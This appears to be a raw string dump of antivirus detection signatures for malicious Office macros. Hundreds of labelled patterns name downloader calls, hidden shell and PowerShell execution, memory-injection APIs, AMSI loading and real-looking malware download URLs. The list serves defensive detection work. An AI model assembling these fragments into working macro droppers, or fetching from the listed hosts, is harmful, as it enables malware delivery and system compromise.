~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~ Del /F /Q !#MHSTR:MacroJustmakecab /c makecab  !#MHSTR:MacroJustwinmgmts winmgmts: \twinmgmts: !#MHSTR:MacroLaroux2 .OnKey \"%{F8}\" !#MHSTR:MsInkAutolib As MSINKAUTLib !#MHSTR:Obfuscator.EmptyAssign !#MHSTR:RtlMoveMemory  !#MHSTR:XL4:Expert:Feature:14 !#MHSTR:uripdll \\urip.d\" & \"l\" & \"l !#MHSTR:Calluuu !#MHSTR:DonoffEncodedHTTP = \";oosCRR !#MHSTR:GetTempPath.A = GetTempPath( !#MHSTR:IInkRectangle .IInkRectangle !#MHSTR:MacroJustRandomize Randomize !#MHSTR:MacroJustWriteFile !#MHSTR:MacroLaroux3 .OnKey \"%{F11}\" !#MHSTR:MacroOrNotVariations Or (Not !#MHSTR:PathSeparator .PathSeparator !#MHSTR:URLDwndlF !#MHSTR:WshShell.Run.A WshShell.Run( !#MHSTR:XL4:Expert:Feature:3 !#MHSTR:XL4:Expert:Feature:35 !#MHSTR:XL4:Expert:Feature:36 !#MHSTR:XL4:Expert:Feature:37 !#MHSTR:XL4:Expert:Feature:38 !#MHSTR:XL4:Expert:Feature:39 !#MHSTR:XL4:Expert:Feature:4 !#MHSTR:XL4:Expert:Feature:40 !#MHSTR:XL4:Expert:Feature:41 !#MHSTR:XL4:Expert:Feature:42 !#MHSTR:XL4:Expert:Feature:43 !#MHSTR:XL4:Expert:Feature:44 !#MHSTR:XL4:Expert:Feature:45 !#MHSTR:XL4:Expert:Feature:46 !#MHSTR:XL4:Expert:Feature:47 !#MHSTR:XL4:Expert:Feature:48 !#MHSTR:XL4:Expert:Feature:49 !#MHSTR:XL4:Expert:Feature:54 !#MHSTR:XL4:Expert:Feature:55 !#MHSTR:XL4:Expert:Feature:56 !#MHSTR:XL4:Expert:Feature:57 !#MHSTR:XL4:Expert:Feature:58 !#MHSTR:XL4:Expert:Feature:59 !#MHSTR:XL4:Expert:Feature:60 !#MHSTR:XL4:Expert:Feature:61 !#MHSTR:XL4:Expert:Feature:62 !#MHSTR:XL4:Expert:Feature:63 !#MHSTR:XL4:Expert:Feature:7 !#MHSTR:MacroJustMid  Mid(  Mid$( !#MHSTR:CallWindowProc !#MHSTR:Ferusdll \\ferus.d\" & \"l\" & \"l !#MHSTR:LibAlias Lib \"kernel32\" Alias !#MHSTR:MacroJustGetObject  !#MHSTR:MacroStartupPath .StartupPath !#MHSTR:MacroUsesWordBasic WordBasic. !#MHSTR:MacroWin32Check If Win32 Then !#MHSTR:Obfuscator.EmptyAssign.A !#MHSTR:VirtualAllocEx !#MHSTR:XL4:Expert:Feature:17 !#MHSTR:ErrNumber Err.Raise Number:=1, !#MHSTR:HasSplitString !#MHSTR:MacroCJustEntireRow .EntireRow !#MHSTR:MacroCJustIsNumeric IsNumeric(  !#MHSTR:MacroJustChrXor  !#MHSTR:MacroJustOUTLOOK \"OUTLOOK.EXE\"  !#MHSTR:MacroJustStrReverse !#MHSTR:MacroJustWallpaper \"Wallpaper\" !#MHSTR:RecentFiles .RecentFiles.Count !#MHSTR:DownloadToFileA DownloadToFileA !#MHSTR:MacroCJustvbCritical vbCritical  !#MHSTR:MacroJustFileExists .FileExists !#MHSTR:MacroJustSavetoFile !#MHSTR:MacroJustShowWindow .ShowWindow !#MHSTR:MacroJustWordPress !#MHSTR:MacroLaroux4 .SendKeys \"%{F11}\" !#MHSTR:MacroUsesCallByName CallByName( !#MHSTR:MacroresumeThread resumethread !#MHSTR:Phtl c:\\Users\\Public\\ !#HSTR:MacroCheckBuild Application.Build @aristocrat.com !#MHSTR:MACRO/Obfuscator.strtmp.A & \"tmp !#MHSTR:MacroCJustVBProjects .VBProjects !#MHSTR:MacroFileCopyJoin filecopy join( !#MHSTR:MacroJustCloseHandle !#MHSTR:MacroJustCreateFileA !#MHSTR:MacroJustGetFileSize !#MHSTR:Prgmdta !#MHSTR:ThenForNext !#MHSTR:PutBinary (\"&H\" CByte !#MHSTR:Caret.Split Hour(Now), Hour(Now), !#MHSTR:EnumTimeFormatsW !#MHSTR:GetPriorityClass GetPriorityClass !#MHSTR:MacroJustDOMDocument .DOMDocument !#MHSTR:MacroJustWin64Check If Win64 Then  !#MHSTR:MacroShellvbHide vbhide !#MHSTR:XL4:Expert:Feature:5 !#MHSTR:XL4:Expert:Feature:6 !#MHSTR:BLOB:O97M/Donoff \"bank\" \"l.ru\" !#ALF:MHSTR:ReplaceText.1 \", \"RRDD\", \"om\") !#MHSTR:Instr InStr(\" !#MHSTR:MacroCJustVB_ProcData .VB_ProcData !#MHSTR:MacroJustGetCursorPos !#MHSTR:MacroJustPasteBin pastebin.com/raw !#MHSTR:MacroJustRegOpenKeyEx !#MHSTR:O97M/RepeatCBool.A  * CBool( !#MHSTR:PSEncodedCommand !#MHSTR:Regsvr C:\\Windows\\system32\\reg.exe !#MHSTR:ThisDocumentPath ThisDocument.Path !#HSTR:MacroBookmarksCount .Bookmarks.Count !#MHSTR:BigDim   Dim  ) As Long, !#MHSTR:DllRegisterServer !#MHSTR:FinReplace Replace( , \",\", \"/\") !#MHSTR:MacroJustADODBStream \"ADODB.Stream\" !#MHSTR:MacroJustCreateObject !#MHSTR:MacroJustLongWhiteSpace \"           !#MHSTR:MacroJustResponseBody .responsebody  !#MHSTR:MacroJustStrmq .StoryRanges.Item(1) !#MHSTR:MacroJustWScriptShell WScript.Shell !#MHSTR:Obfuscator.B64.Wscript (\"V3Njcmlw\") !#MHSTR:Obfuscator.Split.Http \"htt\" + \"p:// !#MHSTR:ShellInEquation Shell( !#MHSTR:TrimThisDocument Trim(ThisDocument. !#MHSTR:MacroBigArraying (100) =  (101) = !#MHSTR:MacroCJustLastDllError .LastDllError !#MHSTR:MacroJustRegSetValueEx !#MHSTR:MacroJustShellExecuteA !#MHSTR:MacroJustgmtq !#MHSTR:MacroMemoryManipulation !#MHSTR:Oernxtm !#MHSTR:XL4:Expert:Feature:15 !#MHSTR:ShellApi Shell$ !#MHSTR:AscMinusAsc \") - Asc(\" !#MHSTR:CallShell Call Shell( ), 0) !#MHSTR:CreateDirectoryExA CreateDirectoryExA !#MHSTR:EnumResourceTypesW !#MHSTR:MacroDynamicApiResolve getprocaddress !#MHSTR:MacroJustNewWScriptShell New WshShell !#MHSTR:MacroSubExecute Private Sub Execute() !#MHSTR:WriteProcessMemory !#MHSTR:MacroBase64Exe = \"TVqQAA = \"TVoAAA !#MHSTR:MacroJustEnviron Environ$ !#MHSTR:APPolo = Application.Run(\"nm\", ololow) !#MHSTR:ForNextDime Exit For  Next    Dim  !#MHSTR:MacroCountMacros WordBasic.CountMacros !#MHSTR:MacroJustCreateProcess  !#MHSTR:MacroJustOnErrorResume On Error Resume !#MHSTR:MacroJustRegCreateKeyEx !#MHSTR:MacroJustSetFilePointer !#MHSTR:MacroJustingmq !#MHSTR:MacroJustroceq !#MHSTR:MacroJustvbextpplocked vbext_pp_locked !#MHSTR:OddURLExe.A //gets-adobe.com `.exe\" !#MHSTR:Pshexec ) = 262 Then Shell !#MHSTR:Splitspace !#MHSTR:VBExposed Attribute VB_Exposed = False !#MHSTR:softoff HKCU\\Software\\Microsoft\\Office !#SLFPER:O97M/Nibtse !#MHSTR:MACRO/filenameext.exe.A !#MHSTR:XL4:Expert:Feature:51 !#MHSTR:SetSizeToZero .XSize = 0 .YSize = 0 !#HSTR:MacroCheckPermissions Permission.Enabled !#HSTR:MacroCheckRunningTasks Application.Tasks !#MHSTR:Brocess !#MHSTR:ERplcdotp !#MHSTR:MacroBATDelVariations \"del \" + Chr(34)\" !#MHSTR:MacroJustExcelSecurity \\Excel\\Security\\ !#MHSTR:MacroJustSpecialFolders .SpecialFolders !#MHSTR:MacroJustvbHide 0False !#MHSTR:MacroSubOpen1Line Open():  : End Sub !#MHSTR:Net.Use vbNullString, \"net\", \"use * \" & !#MHSTR:O97M/Hancitor.RH.EML!MTB & \"\\W0rd.dll\") !#MHSTR:O97M/Powdow.H + \"ps://formaversa.co/trq !#MHSTR:Obfuscator.CharUsed.D = (\"^ !#MHSTR:Obfuscator.LongNames.A !#MHSTR:Obfuscator.LongNames.B !#MHSTR:PSWindowStyleHidden -WindowStyle hidden !#TEL:Trojan:O97M/Obfuse.CT = \"dvfert36tge4tgf\" !#MHSTR:MacroCJustNormalTemplate .NormalTemplate !#MHSTR:MacroCJustVB_Description .VB_Description !#MHSTR:MacroCloseCallShell _cloSE(): Call Shell !#MHSTR:Obfuscator.Split.AppData + \"ppd\" + \"ata\" !#MHSTR:RegisterCimProvider register-cimprovider !#MHSTR:SuspiciousRoundWithString Round(\" !#MHSTR:Urlhtdow http://clarityupstate.com/b.ocx !#MHSTR:XL4:Expert:Feature:12 !#MHSTR:rocdot !#MHSTR:MacroJustConcatVariations \" & \" !#MHSTR:EncDoc.QHLL!MTB .xyz/index udSDFUsnks !#MHSTR:MacroExecute !#HSTR:MacroCheckDocumentKind ActiveDocument.Kind !#MHSTR:MacroJustADODBConnection ADODB.Connection !#MHSTR:MacroJustDocumentOpen Sub Document_Open() !#MHSTR:MacroJustSpecialFolder .GetSpecialFolder( !#MHSTR:MacroJustWorkbookOpen !#MHSTR:NtWriteVirtualMemory !#MHSTR:Obfuscator.WMI.A \".\\r\" \tOot\\Ci\") & !#MHSTR:URLDownloadToFileA.A = URLDownloadToFile( !#MHSTR:VBA.Shell.End VBA.Shell$  !#MHSTR:ZwWriteVirtualMemory !#MHSTR:MacroJustB64Mark ==\" !#MHSTR:Steptwwo Call stetptwwo Call tsettpwwo !#MHSTR:UserFormInfo .Caption .Scroll !#MHSTR:MacroDownload urlmon !#TEL:TrojanDownloader:O97M/BITSAbuse.A \tbitsadmin !#MHSTR:Comments.Odd.A As LongPtr)  '   !#MHSTR:MacroCJustOperatingSystem .OperatingSystem !#MHSTR:MacroExecuteHide.A Shell LocalFile, vbHide !#MHSTR:MacroJustActiveDocPath ActiveDocument.Path !#MHSTR:MacroJustInternetOpenUrlA !#MHSTR:MacroJustInternetReadFile !#MHSTR:MacroNormalPrompt Options.SaveNormalPrompt !#MHSTR:NextEndFunction Next   !#SLF:O97M/LoadAmsi (\"amsi.dll\" \"Amsi !#MHSTR:MacroNextLineTrick  _              _  & !#TEL:TrojanDownloader:O97M/MsiexecAbuse.A msiexec !#MHSTR:CreateTimerQueueTimer !#MHSTR:Donoff.Replace.3 (Replace(Replace(Replace !#MHSTR:ForVariableInstance !#MHSTR:MACRO/Process.TMP.A Start-Process  %TMP% !#MHSTR:MacroBig0D0A !#MHSTR:MacroJustChrWq   + wdKeyS +  \\durio.fur1 !#MHSTR:O97M/InteractionNewLine Interaction _ !#MHSTR:Obfuscator.Win32Check \tN32_\") & !#MHSTR:PrintCellValue Print # , Cells( !#MHSTR:WscriptAndShell \", \"\", \"WScript\" & \".Shell\" !#TELPER:OneLineAutoOpen !#MHSTR:MacroJustOneShell_Gen !#MHSTR:NtAllocateVirtualMemory !#MHSTR:Setyrg \\Excel\\Security c:\\users\\public\\1.reg !#MHSTR:WriteFile \" For Output As 0Print !#ALF:MHSTR:MacroDocxAsRtf Attribute VB_  !#MHSTR:ImportUrlApi  !#MHSTR:MacroCloseSkewed Auto_Close() autoclose() !#HSTR:MacroCallByNameTag CallByName   .Tag,  !#MHSTR:MACRO/Obfuscator.Split.C \"W\" &  \"or\" !#MHSTR:MacroCreateolmailitem .CreateItem(olMailItem) !#MHSTR:MacroJustUserFormActivate UserForm_Activate() !#MHSTR:SubJop Sub jop(uuu As String, aaaa As String) !#MHSTR:WriteJS .js\" For Output As !#MHSTR:O97M/EncDoc.RR!MTB /.jpg IICCII !#HSTR:MacroCheckCountryInfo Application.International !#MHSTR:MacroCJustWorksheetFunction .WorksheetFunction !#MHSTR:MacroDisplayAlertsFalse .DisplayAlerts = False !#MHSTR:MacroJustExecuteExcel4Macro ExecuteExcel4Macro !#MHSTR:MacroJustURLDownloadToFileA !#MHSTR:MacroReplaceObfus Replace(\" X\", \"--$-\", \"\") !#MHSTR:O97M/Qakbot.PSY!MTB C:\\ProgramData\\Freyrgb.dll !#MHSTR:O97M/RepeatSelectCase.A Select Case  !#MHSTR:Powdow!VbaShell  - 1) !#HSTR:MacroSensitiveDocLen = Len(ThisDocument.Content) !#HSTR:TinyDocumentOpen sub document_open() end sub !#MHSTR:MacroCJustBitmapMissingFonts BitmapMissingFonts !#MHSTR:MacroJustBinaryAccessWrite  Binary Access Write !#MHSTR:WriteExe .exe\" For Output As !#MHSTR:WritePS1 .ps1\" For Output As !#MHSTR:WriteVBS .vbs\" For Output As !#MHSTR:ZwAllocateVirtualMemory ZwAllocateVirtualMemory !#MHSTR:DorpDocC2.A https://tegavu.com becomindo.com  !#MHSTR:Exmac KillArray ZipFolder !#HSTR:TrojanDownloader:W97M/Adnel.E Sub pppppppppppdf() !#MHSTR:ActiveDocument.Sections ActiveDocument.Sections( !#MHSTR:Bwinmgtsplus !#MHSTR:ConcatUserFormInfo form.Label1.Caption +  !#MHSTR:JoinLDIM   + Join( !#MHSTR:MACRO/Obfuscator.Redundancy.EmptyIf Then  